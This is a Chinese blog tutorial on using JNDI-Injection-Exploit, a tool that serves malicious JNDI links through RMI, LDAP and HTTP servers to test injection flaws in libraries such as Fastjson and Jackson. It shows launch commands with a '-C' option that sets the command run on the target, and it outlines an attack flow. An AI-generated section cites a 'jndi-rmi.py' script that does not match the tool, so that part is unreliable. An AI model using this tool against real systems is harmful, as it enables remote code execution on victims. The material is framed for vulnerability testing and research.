JNDI-Injection-Exploit 使用教程

JNDI-Injection-Exploit 使用教程

项目地址:https://gitcode.com/gh_mirrors/jn/JNDI-Injection-Exploit

项目介绍

JNDI-Injection-Exploit 是一个用于生成可工作的 JNDI 链接并提供后台服务的工具,通过启动 RMI 服务器、LDAP 服务器和 HTTP 服务器来实现。该工具主要用于测试 JNDI 注入漏洞,如 Jackson、Fastjson 反序列化漏洞等。

项目快速启动

环境准备

确保你已经安装了 Java 环境,并且 JAVA_HOME 环境变量已经正确配置。

下载项目

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit

启动工具

使用以下命令启动工具:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
  • -C:远程 class 文件中要执行的命令(可选,默认命令是 mac 下打开计算器,即 "open /Applications/Calculator.app"
  • -A:服务器地址,可以是 IP 地址或者域名(可选,默认地址是第一个网卡地址)

示例

启动 JNDI-Injection-Exploit:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A "192.168.1.1"

应用案例和最佳实践

应用案例

JNDI-Injection-Exploit 可以用于以下场景:

  1. 漏洞测试:在开发和测试环境中,使用该工具生成 JNDI 链接,插入到 JNDI 注入相关的 POC 中,验证系统是否存在 JNDI 注入漏洞。
  2. 安全研究:安全研究人员可以使用该工具深入研究 JNDI 注入漏洞的原理和利用方法。

最佳实践

  1. 端口检查:确保 1099、1389、8180 端口可用,不被其他程序占用。如果需要,可以在 ServerStart 类的 26~28 行更改默认端口。
  2. 命令安全:确保传入的命令在 Runtime.getRuntime().exec() 方法中可执行,避免使用危险的系统命令。

典型生态项目

JNDI-Injection-Exploit 可以与以下项目结合使用:

  1. marshalsec:一个用于生成各种序列化漏洞利用 payload 的工具,可以与 JNDI-Injection-Exploit 结合使用,生成更复杂的漏洞利用链。
  2. ysoserial:一个著名的 Java 反序列化漏洞利用工具,可以生成各种反序列化漏洞的 payload,与 JNDI-Injection-Exploit 结合使用,可以扩展漏洞利用的范围。

通过结合这些生态项目,可以更全面地测试和研究 Java 应用的安全性。

JNDI-Injection-Exploit JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc) JNDI-Injection-Exploit 项目地址: https://gitcode.com/gh_mirrors/jn/JNDI-Injection-Exploit

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

### JNDI注入漏洞的利用方法 JNDI(Java Naming and Directory Interface)是一种用于访问命名和目录服务的应用程序编程接口。当应用程序通过不受信任的数据动态加载远程资源时,可能会引发JNDI注入漏洞。这种漏洞允许攻击者执行恶意代码并控制目标系统。 #### 工具介绍 `JNDI-Injection-Exploit` 是一种专门设计用来测试和验证JNDI注入漏洞的工具[^2]。它能够生成特定的JNDI链接,并启动多个服务器来模拟实际攻击场景中的行为,例如针对Jackson、Fastjson等序列化库中存在的安全问题进行测试。 #### 利用流程概述 为了成功利用该漏洞,通常需要完成以下几个方面的操作: 1. **配置环境**: 需要确保本地开发环境中已经安装好必要的依赖项以及克隆下来的 `JNDI-Injection-Exploit` 仓库文件夹[^4]。 2. **运行脚本初始化RMI/LDAP Server**: 执行相应的Python脚本来设置监听的服务端口。例如,在终端输入如下命令可以启动一个简单的 RMI server: ```bash python3 jndi-rmi.py --port 8089 ``` 3. **构造恶意payloads**: 根据不同的框架特性定制适合的目标应用类型的载荷字符串。这些载荷最终会被嵌套到HTTP请求参数或者JSON对象字段之中传递给受害方解析处理。 4. **发送含有恶意数据包至受害者机器上**: 如果一切正常的话,则应该可以看到由我们自己搭建起来的服务接收到来自对方发起连接尝试的日志记录信息;与此同时如果存在可被触发条件下的反序列化进程的话,那么就有可能实现任意代码执行效果了。 #### 安全防护建议 为了避免遭受此类攻击的影响,开发者应当采取以下措施加强系统的安全性: - 对外部传入的所有变量都应做严格的校验过滤工作; - 尽量减少不必要的功能模块暴露在外网环境下; - 及时更新补丁修复已知的安全隐患版本号差异情况等等[^1]。 ```python import subprocess def start_rmi_server(port=8089): try: result = subprocess.run(['python3', 'jndi-rmi.py', '--port', str(port)], capture_output=True, text=True) print(result.stdout) except Exception as e: print(f"Error occurred while starting the RMI server: {e}") start_rmi_server() ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

殷泳娓

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值